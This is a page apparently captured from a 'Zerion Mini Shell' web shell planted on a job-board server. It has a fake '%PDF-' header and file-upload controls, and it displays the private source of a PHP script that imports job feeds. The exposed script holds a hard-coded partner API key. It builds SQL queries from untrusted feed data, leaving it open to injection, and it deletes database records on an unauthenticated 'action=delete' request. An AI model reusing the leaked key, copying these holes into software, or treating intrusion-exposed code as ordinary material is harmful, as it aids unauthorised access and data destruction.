%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/devcapijob/www/clients/
Upload File :
Create Path :
Current File : /home/devcapijob/www/clients/RTE.php

<?php
define('PATH_BASE',dirname(__DIR__) );
define( 'DS', DIRECTORY_SEPARATOR );
set_include_path(PATH_BASE .DS.'liberary');
require_once ( PATH_BASE .DS.'config.php' );
require_once ( PATH_BASE .DS.'liberary'.DS.'defines.php' );
require_once ( FACTORY );
require_once ( FRAMWORK );
require_once ( REQUEST );
require_once ( DB );
require_once ( LANG );
require_once ( LINK );
require_once(STP);
require_once(MSG);
require_once ( PATH_BASE .DS.'liberary'.DS.'db.php' );
require_once ( PATH_BASE .DS.'liberary'.DS.'model.php' );
define ('PREFIX', S_config::$prefix);

error_reporting(E_ALL);
ini_set('display_errors', 0);



$curl = curl_init();
//echo 'http://neuvoo.com/services/feeds/generatesV3/generate.php?partner=capijob&country=fr&page='.$_GET['page'].'&of=128';
curl_setopt($curl, CURLOPT_URL, 'https://www.altays-progiciels.com/diffuseur/api/offre/export?ClicNJob_Api_Key=rArdkH0VA3SQ3Och5aSWfmcdqxqXkcAlEb0e9hsr6EwmFY6RzXgFyoYbYGWMNYXU&param[ats_client_id]=190&param[ats_entity_id]=0');
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$contenu = curl_exec($curl);
$xml  =simplexml_load_string($contenu, 'SimpleXMLElement', LIBXML_NOCDATA);
//echo '<pre>'.print_r($xml,1).'</pre>';exit;
//$xml = new SimpleXMLElement('http://capijobnew.com/flux/talentplug.xml',0, LIBXML_NOCDATA);
//$xml  =simplexml_load_file('http://capijobnew.com/flux/talentplug.xml', 'SimpleXMLElement', LIBXML_NOCDATA);


if($_GET['action']=="delete"){
	//echo 'qsqs';exit;
$select_annonce ="select id_annonce from cap_annonce WHERE id_annonceur = 515112";

$execute_select_annonce = DB::do_query($select_annonce);

$array =array();
while ($del = $execute_select_annonce->fetch()){
	echo $i;
	array_push($array, $del['id_annonce']);

 
  $i++;

}
$ids = implode(',', $array);
  
 $delete_annonce_departement = "DELETE FROM cap_annonce_departement WHERE id_annonce in (".$ids.")";
 DB::do_query($delete_annonce_departement);

 $delete_annonce_domaine = "DELETE FROM cap_annonce_domaine WHERE id_annonce in (".$ids.")";
 DB::do_query($delete_annonce_domaine);

 $delete_annonce_email_sup = "DELETE FROM cap_annonce_email_sup WHERE id_annonce in (".$ids.")";
 DB::do_query($delete_annonce_email_sup);
	
 DB::do_query("DELETE FROM  cap_annonce_site WHERE id_annonce in (".$ids.")");

 $delete_annonce = "DELETE FROM cap_annonce WHERE id_annonce in (".$ids.")";
 DB::do_query($delete_annonce);
echo 'ok--';



exit;
}


$select_annonceur =DB::do_query("select email,raison_social  from cap_annonceur WHERE id_annonceur = 515112");

$data =  $select_annonceur->fetch();

$email  = $data['email'];
$raison_social  = $data['raison_social'];

$last_id_table = "select max(id_annonce) from cap_annonce";
$requete_last_id    = DB::do_query($last_id_table);
$last_id=$requete_last_id->fetch();

$j=1;
//echo count($xml->job);exit;

foreach ($xml->job as $character) {
      // echo $i.'<br/>';
	//echo utf8_decode($character->BRANCH);

	//echo htmlentities($character->titleCategory_function).'<br/>';

	

	//******equivalant_categorie**********//

	$sql ='select * from cap_domaine where id_domaine="1682"';

	$data    = DB::do_query($sql);

	$value_domaine = $data->fetch();

	//echo '<br/>';

//	echo $value_domaine['id_domaine'].'-';

	//******selectionner region**********//


   $region = $character->locales->locale->locations->location->field[1]->value->value;
		
//var_dump($region);
    $region ='select * from cap_region where nom LIKE "%'.trim($region).'%"';

	$region_data    = DB::do_query($region);

	$row=$region_data->fetch();

//	echo '<br/>'.$row['id_region'].'<br/>';
  
    if($row['id_region']!=''){
      $id_region = $row['id_region'];
    }else{
       $id_region = '89';
    }
	

	///echo '<br/>'.$elemet.'<br/>'; 

	//******selectionner depart**********//

	
	$depart= $character->locales->locale->locations->location->field[2]->value->value;

	preg_match("#([0-9]{2})#",$depart,$matches);
	$res=$matches[0];
	if($res!=""){
     $sql = " code=".$res;
	}else{
	  $sql = " id_region='".$id_region."'";	
	}
	//var_dump($matches[0]);
	$departements=array();

	$depart ="select id_departement from cap_depart where ".$sql;

	$depart_data    = DB::do_query($depart);

    while ($departs = $depart_data->fetch()) {
          array_push($departements, $departs['id_departement']);
    };
    $departs = implode(',', $departements);
	//echo $departs.'<br/>';

	//var_dump($id_region);exit;

	

	//******selectionner contrat**********//

	/*if($character->CONTRACT!=""){	

	$contract ="select * from cap_type_poste where type_poste='".utf8_decode($character->CONTRACT)."'";

	$contract_data    = DB::do_query($contract);

	

	$row_contract=mysql_fetch_array($contract_data);

	

	}*/
    
   /* $niveau_etudes = array('1'=>'Bac non valid&eacute;','2'=>'CAP','3'=>'BEP','4'=>'Bac Professionnel','5'=>'Niveau Bac / Bac','6'=>'DUT / BTS / Bac +2','7'=>'Dipl&ocirc;me non valid&eacute; / Bac +2','8'=>'Licence / Bac +3','9'=>'Ma&icirc;trise / IEP / IUP / Bac +4','10'=>'DESS / DEA / Grandes Ecoles / Bac +5','11'=>'Doctorat / 3&egrave;me cycle','12'=>'Expert / Recherche');
   
	 $niveau_etude= array_search(trim($character->FORMATION),$niveau_etudes);;

			   

	$experiences = array('1'=>'Moins de 1 an','2'=>'1-2 ans','3'=>'2-4 ans','4'=>'5-10 ans','8'=>'10-15 ans','10'=>'Plus de 15 ans');
   
	 $experience= array_search(trim($character->EXPERIENCE),$experiences);*/
	

	//******selectionner niveau**********//

	/*if($character->studies!=""){

	$niveau_etude ="select * from cap_niveau_etude where nom='".utf8_decode($character->studies)."'";

	$niveau_etude_data    = DB::do_query($niveau_etude);

	$row_niveau_etude=mysql_fetch_array($niveau_etude_data);

//	echo $row_niveau_etude['nom'];

	}*/


    $description = $character->locales->locale[1]->field[14]->value->value;
    $Profil = $character->locales->locale[1]->field[15]->value->value;
    $entreprise = $character->locales->locale[1]->field[16]->value->value;



	$content ="";
    $content .="<b>"."Description du poste :</b><br/><br/>";
   	$content .= $description;
    if($Profil!=""){
   	$content .="<br/><br/>"."<b>Profil recherché</b> : <br/><br/> ".$Profil.""."<br/><br/>";
    }
    if($entreprise!=""){
    $content .="<br/><br/>"."<b>Présentation de l'entreprise</b> : <br/><br/> ".$entreprise.""."<br/><br/>";	
    }
   	
	

	//if($character->experience!=""){$content .= "<br/><br/> Expreience: ".utf8_decode($character->experience);};

	

	//if($character->FORMATION!=""){$content .= "<br/><br/> Niveau d'etude: ".utf8_decode($character->FORMATION);};


	

	$id_last = $last_id['max(id_annonce)'] + $j;

	

 	/****** date fin parution et max*********/

	$date_parution = date('Y-m-d');

	$nb =  28 * 12;

		//date_add($date, date_interval_create_from_date_string('7 days'));

	$DateFin = date('Y-m-d', strtotime($date_parution.' +'.$nb.' days'));

	

		//******insert annonce**********//

	//if($value_domaine['cat_internt']!=""){	


		//echo $query .'<br/><br/>';exit;

      $reqs[]='("'.$id_last.'", "'.addslashes($character->locales->locale->title).'",	"'.addslashes($character->locales->locale->title).'", "'.addslashes($character->locales->locale->title).'","'.$id_last."-".Model::genere_alias($raison_social."-".trim($character->locales->locale->title)).'","1", "'.$value_domaine['id_domaine'].'","'.$id_region.'","'.$departs.'", "'.addslashes(htmlspecialchars_decode(htmlentities(preg_replace('#\xF0[\x90-\xBF][\x80-\xBF]{2}#','',$content),ENT_QUOTES, 'UTF-8'))).'","7","13","'.$character->salary.'","'.$row_contract['id_type_poste'].'","nc","","'.date('Y-m-d').'","'.$DateFin.'","'.$DateFin.'","515112","'.addslashes($character->city).'", "'.$character->postcode.'","75","","","","","12","12","7","0","21","1","1","0","'.date('Y-m-d').'","'.date('Y-m-d H:i:s').'","1","0","'.$$character->locales->locale->url.'","1","0","0")';

      $sites[]= "('1','".$id_last."')";


    if(sizeof($departements)>0){
         for ($i=0; $i <sizeof($departements) ; $i++) {
         	 $sql_depart[] = "(".$id_last.",".$departements[$i].")";
        }
			 
	}
    
           
   $sql_domaine[] = "(".$id_last.", ".$value_domaine['id_domaine'].")";

   $email_sup[] ="('".$id_last."', 'cv1@capijob.com')";	
		
	 $total +=1; 	

	//}
$j++;//exit;
}
echo $total;
try {
$con = DB::connect();
$con->beginTransaction();
for ($i=0; $i < sizeof($reqs) ; $i++) { 

	$query = 'INSERT INTO `cap_annonce`(`id_annonce`, `poste`, `titre`, `h1_page`, `alias`, `type`, `domaine`, `region`, `depart`, `texte`, `duree_travail`, `niveau_etude`, `salaire`, `type_contrat`, `permis`, `langue`, `date_parution`, `fin_parution`, `date_max_parution`, `id_annonceur`, `ville`, `code_postal`, `id_pays`, `latitude`, `longitude`, `adresse`, `autre_mail`, `parution`, `parution_utilise`, `nb_rafraich`, `nb_rafraich_historique`, `par_jour`,`nb_rubrique`, `etat`, `active`, `date_creation`, `date_misejour`,`id_langue`,`select_accueil`, `url_candidature`, `flux`, `nb_vue`, `click_btn`) VALUES ' . $reqs[$i];
    '<br/><br/><br/>';
	$con->exec($query);
}
$test = $con->commit();
if($test==true){

$site = "INSERT INTO `cap_annonce_site`(`site_web`, `id_annonce`) VALUES " . implode(',', $sites);
$con->query($site);
$depas = "INSERT INTO `cap_annonce_departement`(`id_annonce`, `id_departement`) VALUES " . implode(',', $sql_depart);
$con->query($depas);
$dom  ="INSERT INTO `cap_annonce_domaine`(`id_annonce`, `id_domaine`) VALUES " . implode(',', $sql_domaine);
$con->query($dom);
$sup = "INSERT INTO `cap_annonce_email_sup`(`id_annonce`, `email_sup`) VALUES " . implode(',', $email_sup);
$con->query($sup);
echo 'ok';
}
 }catch(PDOException $err) {
    // roll the transaction back if something fails
    $con->rollback();
    echo "Error message: " . $err->getMessage();
  }
  $con = null; 


?>

Zerion Mini Shell 1.0